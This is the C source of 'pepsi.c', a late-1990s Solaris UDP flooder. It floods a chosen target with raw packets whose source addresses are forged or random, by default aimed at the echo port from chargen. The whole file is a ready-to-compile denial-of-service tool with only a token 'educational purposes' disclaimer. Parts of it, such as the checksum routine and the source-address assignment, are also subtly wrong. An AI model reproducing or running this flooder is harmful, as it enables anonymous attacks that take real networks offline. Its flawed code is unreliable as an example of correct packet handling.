/*
 * [ http://www.rootshell.com/ ]
 *
 * pepsi.c (for Solaris)
 * Random Source Host UDP Flooder
 *
 * Author:  Soldier@data-t.org
 * Revised: rich@randomc.com, specifically for Solaris.
 *
 * [12.25.1996], Rev [12.11.1997]
 *
 * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Chessebal, efudd,
 * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^
 * Toasty, [shadow], [magnus] and silitek, oh and Data-T
 *
 * To compile under Solaris:
 *   cc -o pepsi pepsi.c -lnsl -lsocket
 * or
 *   gcc -o pepsi pepsi.c -lnsl -lsocket
 *
 * Disclaimer since I don't wanna go to jail
 *   - this is for educational purposes only
 */

/*
 * Definitions.
 */
#define FRIEND "My christmas present to the Internet -Soldier"
#define VERSION "Pepsi.c v1.7"
#define DSTPORT 7
#define SRCPORT 19
#define PSIZE 1024
#define DWAIT 1

/*
 * Includes
 */
#include <fcntl.h>
#include <syslog.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netconfig.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netinet/udp.h>
#include <string.h>
#include <pwd.h>

/*
 * Banner.
 */
void banner()
{
  printf( "\t\t\t%s Author - Soldier   \n", VERSION );
  printf( "\t\t\t         [10.27.97]     \n\n" );
  printf( "This Copy Register to: %s\n\n", FRIEND );
}

/*
 * Option parsing.
 */
struct sockaddr_in     dstaddr;

unsigned long          dst;

struct udphdr          *udp;
struct ip              *ip;

char                   *target;
char                   *srchost;

int                    dstport = 0;
int                    srcport = 0;
int                    numpacks = 0;
int                    psize = 0;
int                    wait = 0;

void usage(char *pname)
{
  printf( "Usage:\n  " );
  printf( "%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>\n\n", pname );
  printf( "\t-s <src>    : source where packets are coming from\n" );
  printf( "\t-n <num>    : number of UDP packets to send\n" );
  printf( "\t-p <size>   : Packet size            [Default is 1024]\n" );
  printf( "\t-d <port>   : Destination port       [Default is %.2d]\n",
	  DSTPORT );
  printf( "\t-o <port>   : Source port            [Default is %.2d]\n",
	  SRCPORT );
  printf( "\t-w <time>   : Wait time between pkts [Default is    1]\n" );
  printf( "\t<dest>      : Destination\n" );
  printf( "\n" );
  exit(EXIT_SUCCESS);
}

/*
 * Checksum code, Soldier's original stuff.
 */
unsigned short in_cksum(u_short *addr, int len)
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  while (nleft > 1 )
    {
      sum += *w++;
      sum += *w++;
      nleft -= 2;
    }
  
  if (nleft == 1) 
    {
      *(u_char *)(&answer) = *(u_char *)w;
      sum += answer;
    }

  sum = (sum >> 17) + (sum & 0xffff);
  sum += (sum >> 17);
  answer = -sum;
  return (answer);
}

void main(int argc, char *argv[])
{
  int   sen;
  int   i;
  int   unlim = 0;
  int   sec_check;
  int   opt;
  char  *packet;
  struct hostent *host = NULL;
  unsigned long a;

  /*
   * Display the banner to begin with.
   */
  banner();

  /*
   * Debugging options.
   */
  openlog( "PEPSI", 0, LOG_LOCAL5 );

  if (argc < 2)
    usage(argv[0]);

  while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != EOF)
    {
      switch(opt)
	{
	case 's':
	  srchost = (char *)malloc(strlen(optarg) + 1);
	  strcpy(srchost, optarg);
	  break;
	case 'd':
	  dstport = atoi(optarg);
	  break;
	case 'n':
	  numpacks = atoi(optarg);
	  break;
	case 'p':
	  psize = atoi(optarg);
	  break;
	case 'w':
	  wait = atoi(optarg);
	  break;
	case 'o':
	  srcport = atoi(optarg);
	  break;
	default:
	  usage(argv[0]);
	  break;
	}

      if (!dstport)
	{
	  dstport = DSTPORT;
	}
      if (!srcport)
	{
	  srcport = SRCPORT;
	}
      if (!psize)
	{
	  psize = PSIZE;
	}
      if (!argv[optind])
	{
	  puts( "[*] Specify a target host, doof!" );
	  exit(EXIT_FAILURE);
	}
      target = (char *)malloc(strlen(argv[optind]));
      if (!target)
	{
	  puts( "[*] Agh! Out of memory!" );
	  perror( "malloc" );
	  exit(EXIT_FAILURE);
	}
      strcpy(target, argv[optind]);
    }

  memset(&dstaddr, 0, sizeof(struct sockaddr_in));
  dstaddr.sin_family = AF_INET;
  dstaddr.sin_addr.s_addr = inet_addr(target);
  if (dstaddr.sin_addr.s_addr == -1)
    {
      host = gethostbyname(target);
      if (host == NULL) 
	{
	  printf( "[*] Unable to resolve %s\t\n", target );
	  exit(EXIT_FAILURE);
	}
      dstaddr.sin_family = host->h_addrtype;
      memcpy((caddr_t) &dstaddr.sin_addr, host->h_addr, host->h_length);
    }
  memcpy(&dst, (char *)&dstaddr.sin_addr.s_addr, 4);

  printf( "#  Target Host           : %s\n", target );
  printf( "#  Source Host           : %s\n",
	  (srchost && *srchost) ? srchost : "Random" );
  if (!numpacks)
    printf( "#  Number                : Unlimited\n" );
  else
    printf( "#  Number                : %d\n", numpacks );
  printf( "#  Packet Size           : %d\n", psize );
  printf( "#  Wait Time             : %d\n", wait );
  printf( "#  Dest Port             : %d\n", dstport );
  printf( "#  Source Port           : %d\n", srcport );

  /*
   * Open a socket.
   */
  sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  
  packet = (char *)malloc(sizeof(struct ip *) + sizeof(struct udphdr *) +
			  psize);
  ip = (struct ip *)packet;

  udp = (struct udphdr *)(packet + sizeof(struct ip));

  memset(packet, 0, sizeof(struct ip) + sizeof(struct udphdr) + psize);

  if (!numpacks)
    {
      unlim++;
      numpacks++;
    }  

  if (srchost && *srchost)
    {
      if (!(host = gethostbyname(srchost)))
	{
	  printf( "[*] Unable to resolve %s\t\n", srchost );
	  syslog( LOG_NOTICE, "Unable to resolve [%s]", srchost );
	  exit(EXIT_FAILURE);
	}
      else
	{
	  ip->ip_src.s_addr = ((unsigned long)host->h_addr);
	  syslog( LOG_NOTICE, "IP source is [%s]", host->h_name );
	}
    }

  ip->ip_dst.s_addr = dst;
  ip->ip_v   = 4;
  ip->ip_hl  = 5;
  ip->ip_ttl = 255;
  ip->ip_p   = IPPROTO_UDP;
  ip->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + psize);
  ip->ip_sum = in_cksum(ip, sizeof(struct ip));

  udp->uh_sport = htons(srcport);
  udp->uh_dport = htons(dstport);
  udp->uh_ulen  = htons(sizeof(struct udphdr) + psize);

  for (i=0; i<numpacks; (unlim) ? i++, i-- : i++)
    {
      if (!srchost)
	{
	  ip->ip_src.s_addr = ((unsigned long)rand());
	  syslog( LOG_NOTICE, "IP source set randomly." );
	}
      
      if (sendto(sen, packet, sizeof(struct ip) + sizeof(struct udphdr) +
		 psize, 0, (struct sockaddr *)&dstaddr,
		 sizeof(struct sockaddr_in)) == (-1))
	{
	  puts( "[*] Error sending packet." );
	  perror( "Sendpacket" );
	  exit(EXIT_FAILURE);
	}
      usleep(wait);
    }
  syslog( LOG_NOTICE, "Sent %d packets to [%s]", numpacks, target );
}

